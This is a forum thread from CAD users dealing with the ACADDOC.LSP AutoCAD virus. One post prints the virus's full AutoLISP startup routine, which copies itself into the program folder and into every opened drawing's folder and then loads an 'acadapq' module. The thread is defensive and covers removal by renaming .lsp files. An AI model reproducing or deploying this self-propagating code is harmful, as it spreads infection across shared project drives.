Author Topic: acaddoc>lsp  (Read 7893 times)

0 Members and 1 Guest are viewing this topic.

HasanCAD

  • Swamp Rat
  • Posts: 1422
acaddoc>lsp
« on: June 09, 2015, 08:13:50 AM »
Hi all

While open cad file this message comes. I belive that it is ACADDOC.LSP virus.
How to stop that virus attacking the files on server?

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #1 on: June 09, 2015, 08:22:52 AM »
For one, why does a project folder have a lisp routine in it?

AutoCAD initiated a secure directory function within the lisp routines, if a routine wants to run that is not within a designated secure folder that pop-up will display. 

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #2 on: June 09, 2015, 08:23:29 AM »
Double post,

I would upload that file we can verify it's clean

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #3 on: June 09, 2015, 08:25:02 AM »
This has been around a long time and there is plenty of information out there about how to get rid of it. Do you need help searching for a solution or are you looking for someone with first hand experience?
CAD Tech

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #4 on: June 09, 2015, 08:25:57 AM »
For one, why does a project folder have a lisp routine in it?

The virus puts it there.
CAD Tech

HasanCAD

  • Swamp Rat
  • Posts: 1422
Re: acaddoc>lsp
« Reply #5 on: June 09, 2015, 08:57:07 AM »
Déjà vu all over again

WARNING [kdub]: DO NOT DOWNLOAD AND SAVE THIS FILE LOCALLY unless you know exactly what the file does ... user beware !!
note added kdub.

this is the file.
Code - Auto/Visual Lisp: [Select]
  1. (defun-q s::startup
  2.          (/ basepath        baseacad        acaddocpath
  3.             r-acaddoc       w-basepath      rl-acaddoc
  4.             acaddoclsp      c-acaddocname   c-acaddocpath
  5.             c-acaddoc
  6.            )
  7.          (setq basepath
  8.                 (findfile "base.dcl")
  9.          )
  10.          (setq basepath
  11.                 (substr basepath 1 (- (strlen basepath) 8))
  12.          )
  13.          (setq baseacad (strcat basepath "acaddoc.lsp"))
  14.          (setq acaddocpath (findfile "acaddoc.lsp"))
  15.          (setq acaddocpath
  16.                 (substr acaddocpath
  17.                         1
  18.                         (- (strlen acaddocpath) 11)
  19.                 )
  20.          )
  21.          (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
  22.          (setq c-acaddocname (getvar "dwgname"))
  23.          (setq c-acaddocpath (findfile c-acaddocname))
  24.          (setq c-acaddocpath
  25.                 (substr c-acaddocpath
  26.                         1
  27.                         (- (strlen c-acaddocpath) (strlen c-acaddocname))
  28.                 )
  29.          )
  30.          (setq c-acaddoc
  31.                 (strcat c-acaddocpath "acaddoc.lsp")
  32.          )
  33.          (if
  34.            (and
  35.              (/= basepath acaddocpath)
  36.              (= c-acaddocpath acaddocpath)
  37.            )
  38.             (progn
  39.               (setq r-acaddoc
  40.                      (open acaddoclsp "r")
  41.               )
  42.               (setq w-basepath
  43.                      (open baseacad "w")
  44.               )
  45.               (while
  46.                 (setq rl-acaddoc
  47.                        (read-line r-acaddoc)
  48.                 )
  49.                  (write-line rl-acaddoc w-basepath)
  50.               )
  51.               (close w-basepath)
  52.               (close r-acaddoc)
  53.             )
  54.  
  55.             (progn
  56.               (setq r-acaddoc
  57.                      (open acaddoclsp "r")
  58.               )
  59.               (setq w-basepath
  60.                      (open c-acaddoc "w")
  61.               )
  62.               (while
  63.                 (setq rl-acaddoc
  64.                        (read-line r-acaddoc)
  65.                 )
  66.                  (write-line rl-acaddoc w-basepath)
  67.               )
  68.               (close w-basepath)
  69.               (close r-acaddoc)
  70.             )
  71.          )
  72.          (princ)
  73. )
  74. (load "acadapq")
  75.  

« Last Edit: June 09, 2015, 09:40:26 AM by Kerry »

ChrisCarlson

  • Guest
Re: acaddoc>lsp
« Reply #6 on: June 09, 2015, 09:02:02 AM »
Refer to here,

http://www.theswamp.org/index.php?topic=35330.0

Infact you are the original poster

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #7 on: June 09, 2015, 09:31:15 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


"How we think determines what we do, and what we do determines what we get."

Kerry

  • Mesozoic relic
  • Seagull
  • Posts: 11654
  • class keyThumper<T>:ILazy<T>
Re: acaddoc>lsp
« Reply #8 on: June 09, 2015, 09:38:34 AM »
Refer to here,

http://www.theswamp.org/index.php?topic=35330.0

Infact you are the original poster

That thread does look familiar :)
kdub, kdub_nz in other timelines.
Perfection is not optional.
Everything will work just as you expect it to, unless your expectations are incorrect.
Discipline: None at all.

HasanCAD

  • Swamp Rat
  • Posts: 1422
Re: acaddoc>lsp
« Reply #9 on: June 09, 2015, 10:16:41 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


Could we use
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include acaddoc.lsp |
instead of
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include *.lsp |

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #10 on: June 09, 2015, 10:23:55 AM »
Close all sessions of AutoCAD, and then have your IT Admin, or someone responsible using a domain account with sufficient Active Directory permissions, call this PowerShell (As Administrator?):

Code - C#: [Select]
  1. Get-ChildItem <YourProjectFolderNetworkShareRoot>\*.* -Include *.lsp | Rename-Item -NewName { $_.Name -Replace ".lsp",".lsp.blacklist" }
  2.  

* Warning - This PowerShell will rename ALL *.lsp files in ALL project folders; change the resultant file extension as needed.


Could we use
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include acaddoc.lsp |
instead of
Code - Auto/Visual Lisp: [Select]
  1. \*.* -Include *.lsp |

Certainly :-) - Just offering an en-mass example; take from it what you like.
"How we think determines what we do, and what we do determines what we get."

tombu

  • Bull Frog
  • Posts: 289
  • ByLayer=>Not0
Re: acaddoc>lsp
« Reply #11 on: June 09, 2015, 10:48:55 AM »
You should also try with
Code: [Select]
\*.* -Include acadapq.* |as it's the code that does most of the damage.  Could be VLX, ,FAS, or .LSP
Tom Beauford P.S.M.
Leon County FL Public Works - Windows 7 64 bit AutoCAD Civil 3D

jmaeding

  • Bull Frog
  • Posts: 304
  • I'm just here for the Shelties.
Re: acaddoc>lsp
« Reply #12 on: June 09, 2015, 11:57:48 AM »
if Autodesk really cared about this, they would make a filewatcher util that looked for a new acad.lsp and other startup files appearing in project folders. Its fairly easy to write in .net, but somehow the real issues people get hit with are not exotic enough to be dealt with. Instead we get "lisp signing" and "total control" type security in 2016, as if its needed or decent to implement in an office with people that actually write scripts and minor lisps as they work.
Are they trying to squash user customization with lisp, just like they did with the CUI system that wants the main menu to be the acad one, yet user customization happens to the main menu at the same time. So you have to play the menu switch game which never goes well in the end. So not we do not make custom toolbars. Thanks Autodesk.
James Maeding

Rob...

  • King Gator
  • Posts: 3824
  • Take a little time to stop and smell the roses.
Re: acaddoc>lsp
« Reply #13 on: June 09, 2015, 12:23:26 PM »
Really? You blame AutoDesk?

If you feel vulnerable to this and it's so easy, make it yourself. Most people have protocols in place to avoid this type of thing. It is easy. Just like basic virus protection, it's up to the users to implement the necessary safeguards. You cannot blame AutoDesk for not protecting us, if some of us can't protect ourselves from the maliciousness of others.

The stuff about your issues with customization are not even related to the topic at hand.
CAD Tech

BlackBox

  • King Gator
  • Posts: 3770
Re: acaddoc>lsp
« Reply #14 on: June 09, 2015, 12:57:18 PM »
"How we think determines what we do, and what we do determines what we get."